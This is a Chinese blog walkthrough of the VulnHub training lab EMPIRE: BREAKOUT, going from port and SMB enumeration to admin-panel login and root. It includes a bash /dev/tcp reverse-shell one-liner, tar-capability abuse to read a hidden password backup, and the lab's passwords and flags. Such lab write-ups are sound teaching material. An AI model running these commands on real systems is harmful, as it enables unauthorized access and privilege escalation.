今天写一份EMPIRE: BREAKOUT靶场教程(简单难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场入口在这,推荐大家使用,大家进去直接搜索EMPIRE: BREAKOUT就能下载今天的靶场了,也可以找我拿,话不多说进入正题
目录
一:攻击准备
这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),虚拟机管理设备用vm和virtual均可,如下面这样就是搭建完成了,具体搭建过程就不多讲了,不懂得也可以私信问我
二:信息收集
1.端口扫描
可以看到我们的靶机显示需要密码,这里的密码应该就是我们要拿到的flag,惯例先用nmap扫一下目标,扫描结果如下
可以看到这里探测除了很多的端口,其中的80,10000,20000端口都是http服务,说明对方开启了很多网页服务
2.http探测
1.80端口
这里我们先直接尝试访问一下80端口,发现是一个正常的debian系统的apache页面
在页面上并没有看到什么有用的信息,我们习惯性的查看下网页源码,发现作者给出了一段经过ook加密的密码
我也是第一次接触这种加密方式,所以直接在这里给大家推荐一个在线站点点此进入 ,我们将ook加密的数据拿去解密,
结果为
.2uqPEfj3D<P'a-3
2.10000端口
先尝试访问(这里有的人访问会报错,此时可以尝试https协议来访问),访问页面如下
发现应该是一个用户的登录页面,我们再看看20000端口的
3.20000端口
访问方法同上
这应该也是一个登录页面,不过是管理员的
3.smb服务探测
由于我们刚才nmap探测端口时发现445端口和139端口探测出来的信息中存在smb服务,所以我们用linux再来探测一下目标的smb信息,这里可以用enum4linux这款smb枚举工具来进一步探测,输入下面这个命令,把ip换成你自己的目标ip就可以就可以
enum4linux 172.21.19.93
扫描结果如下,在最下方探测出了本地用户名——cyber
3.实际操作
1.FLAG1
在信息收集中,我们拿到了一个似乎是密码的东西,又探测到了两个登录页面,最后的smb信息探测中探测出了本地的用户名,那我们直接尝试一下用刚才的账号和密码进行登录管理员后台,不出所料,如下图,我们成功登录一cyber的身份登录管理员后台
但这个页面全是中文,就不太好弄,在我一番努力(百度截图翻译)之下,发现左下角有一个可以点开终端来执行命令
就是我画出红点的位置,我们点击打开终端,ls查看到当前文件夹下有两个文件,这个tar最开始没看懂,先查看一下user.txt文件,成功拿到第一个FLAG
3mp!r3{You_Manage_To_Break_To_My_Secure_Access}
本来以为这道题就到这里的呢,突然一想vulnhub靶场上的题基本都需要拿到对方的主机权限,没办法只能留下来再看看
2.FLAG2
可是还能从什么地方入手呢,首先想到的就是刚才的tar文件,毕竟是题目给出的,我们先查看一下这个文件的权限
这里发现这个文件的权限很高,并且是个可执行文件,再来看一下文件对于其他文件所拥有的权限,如下图
根据getcap查看到的结果发现这个文件居然可以读取任意文件,至于怎么看出来的可以点这里,里面讲解了getcap命令多种回显值的意思,而在该目录下只有两个文件,我们都看过了,说明在其他地方一定存在一个文件需要用这个tar文件读取,这才是本题的关键
终于在我的不懈努力(查攻略)下,终于在var/backups下的一个备份文件.old_pass.bak
文件还是隐藏的,是真不知道大佬们怎么找出来的,我技不如人,这种地方就只能看看攻略这样子,雀氏佩服
但是可以看到这个文件并没有执行权限,但是刚才的tar文件有执行权限,所以我们可以尝试来一波骚操作,把这个文件用给的tar压缩后再用系统的tar文件解压,这样就没有权限问题了 ,代码如下:
打包文件
./tar -cvf passwd.tar /var/backups/.old_pass.bak
解压文件
tar -xvf passwd.tar
这里加了./意思是用当前目录下的tar文件,不加./意思就是用系统的tar,因为题目给的tar文件有执行权限,所以要用题目给的tar打包,再查看解压的文件就可以成功查看到第二个flag了,如下
第二个flag如下
Ts&4&YurgtRX(=~h
3.提权
以我的理解,这应该就是最后的操作了,我们直接尝试root用户登录,但是这里不知道怎么回事一直登不上去,切换root用户的时候不让输入密码,一直报错,就像下面这样,网上也没找到解决方法,你们尝试的时候也可以去试试能不能登录,有可能是我电脑的问题
搞得我都没法提权了,想了想平时的提权方法用的最多的就是nc,但需要对方也有nc,这台debian靶机经过查找是有nc的,但是经过测试靶机的nc并没有权限操控,这里就不放图了,大家打这个靶场的时候可以自己试试,下面给大家讲讲我是怎么破局的
这里教大家一招,也是我觉得反弹shell很好用也很好用的的一招,就是用自带的shell
bash -i >& /dev/tcp/localhost/8080 0>&1
这是一个常用的反弹 shell 的命令。常用于把内网的机器反弹到外网机器上从而实现外网主机控制内网主机。但是在内网环境也可以用,这个命令的功能简单的来说就是将输入输出重定向到指定的位置,达到反弹shell的结果,localhost换成反弹目标的ip即可
kali开启监听,再让靶机执行上面的命令,把localhost换成kali的ip即可成功拿到shell,如下
可以看到,这里已经成功拿到权限了,但不是root用户,我们在这里尝试用密码登录root用户
到此,提权成功
4.FLAG3
最后一个flag在root目录下即可看到,到这里三个flag全部拿到,这个靶场也算打完了
注意,root下的rOOt.txt文件那个是大写的O,不要跟我一样看成0(零)了
今日份学习结束,如果你也看到了这,说明你今天也很棒哦,感谢大家的阅读,有什么问题随时私信,看到都会回,最后,加油哇同学们!不要辜负了他(她)